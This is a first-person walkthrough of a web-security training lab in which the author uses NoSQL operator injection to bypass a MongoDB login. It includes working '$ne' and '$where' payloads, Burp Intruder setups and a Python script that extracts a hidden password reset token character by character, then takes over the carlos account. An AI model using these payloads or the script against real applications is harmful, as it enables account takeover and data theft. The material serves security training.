Exploiting NoSQL operator injection to extract unknown fields

Description

The user lookup functionality for this lab is powered by a MongoDB NoSQL database. It is vulnerable to NoSQL injection.

To solve the lab, log in as carlos.

Approach

Upon accessing the lab, I enabled the FoxyProxy extension to proxy all the requests through my Burp Suite and then started navigating the webpage. Unlike other labs, there weren't many functionalities available, but two requests seemed promising: one for login and the other for password reset.

The login request looked like this:

POST /login HTTP/2
Host: 0ae8004604c510dc8099daff001300bb.web-security-academy.net
Cookie: session=krrDBYBThOuRuUYoq2uSPLaVCsvADuup
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...

{"username":"wiener","password":"peter"}

And the password reset request:

GET /forgot-password HTTP/2
Host: 0ae8004604c510dc8099daff001300bb.web-security-academy.net
Cookie: session=krrDBYBThOuRuUYoq2uSPLaVCsvADuup
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...

Since the POST /login request is the one handling authentication, I decided to try some NoSQL injection payloads to bypass authentication as user carlos.

I started by trying to bypass the authentication using a NoSQL injection payload:

POST /login HTTP/2
Host: 0ae8004604c510dc8099daff001300bb.web-security-academy.net
Cookie: session=krrDBYBThOuRuUYoq2uSPLaVCsvADuup
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: */*
...

{
 "username":"carlos",
 "password":
	{
	"$ne":"invalid"
	}
}

This injection resulted in an error message indicating that the account is locked and requires a password reset.

Now, let's pivot to the GET /forgot-password request, which presents an opportunity to reset Carlos's password. However, before proceeding, I needed to obtain the reset token. The challenge was twofold: I didn't know the reset token's name or its value for Carlos. To overcome this hurdle, I revisited the POST request where I had succeeded with the NoSQL injection and crafted a payload to retrieve some data.

Here's the payload I constructed:

"$where":"Object.keys(this)[0].match('^.{0}a.*')"

This payload allowed me to iteratively retrieve the names of the fields character by character. To obtain the complete field name, I would need to brute force it. I utilized Burp Intruder, setting up two payload markers: one for the character index and the other for the wordlist.

Here's how I modified the request:

POST /login HTTP/2
Host: 0a4a00fd03e04aa380d621c30067005c.web-security-academy.net
Cookie: session=u9ERX3ZgvF7upxptEGhx9cedHnijM74L
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
...
{
 "username":"carlos",
 "password":
	{
	"$ne":"invalid"
	},
	"$where":"Object.keys(this)[0].match('^.{§§}§§.*')"
}

Using a cluster bomb attack type, I tested every combination possible. Upon sending the payload, I observed requests with differing lengths (which have the right character). I iteratively adjusted the field number, [0], until I identified an intriguing field named pwResetTkn at index [3].

Now, armed with the knowledge of the token name, I proceeded to extract its value. Employing the following payload:

this.pwResetTkn.match('^.{index}char.*')

I opted for a Python script to automate this process instead of relying on Burp Intruder.

import requests

url = "https://0a9b002f03bad3d880047b4d009400ec.web-security-academy.net:443/login"
cookies = {"session": "wcvmtXtR4MioSXqvCDt8XxDaKxa0zPls"}
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Referer": "https://0a9b002f03bad3d880047b4d009400ec.web-security-academy.net/login", "Content-Type": "application/json", "Origin": "https://0a9b002f03bad3d880047b4d009400ec.web-security-academy.net", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin", "Te": "trailers"}


token=''
chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
for i in range(20):
	for j in chars:
		json = {"$where": f"this.pwResetTkn.match('^.{{{i}}}{j}.*')", "password": {"$ne": "invalid"}, "username": "carlos"}
		r = requests.post(url, headers=headers, cookies=cookies, json=json)

		if "Account locked" in r.text:
			print(f"token character at index: {i} is {j}")
			token+=j


print(token)

by running the script I got the token value

PS C:\> python .\PWResetToken.py
token character at index: 0 is 0
token character at index: 1 is f
token character at index: 2 is 4
token character at index: 3 is 5
token character at index: 4 is 2
token character at index: 5 is b
token character at index: 6 is 6
token character at index: 7 is d
token character at index: 8 is 6
token character at index: 9 is 9
token character at index: 10 is d
token character at index: 11 is 7
token character at index: 12 is b
token character at index: 13 is 4
token character at index: 14 is 1
token character at index: 15 is 7
0f452b6d69d7b417

Now, armed with the reset token 0f452b6d69d7b417, I attempted to utilize it with the GET /forgot-password request to proceed with the password reset process. Initially, I tried accessing GET /forgot-password?pwResetTkn=, but encountered an "invalid token" error. Undeterred, I provided the obtained token value, 0f452b6d69d7b417, in the request: GET /forgot-password?pwResetTkn=0f452b6d69d7b417.

This time, the request yielded the page for resetting the password. I simply right-clicked on the response and selected "Show response in browser" to view it in a browser window. From there, I was able to complete the password reset for Carlos. Subsequently, I logged in as Carlos using the new password, thus successfully solving the lab.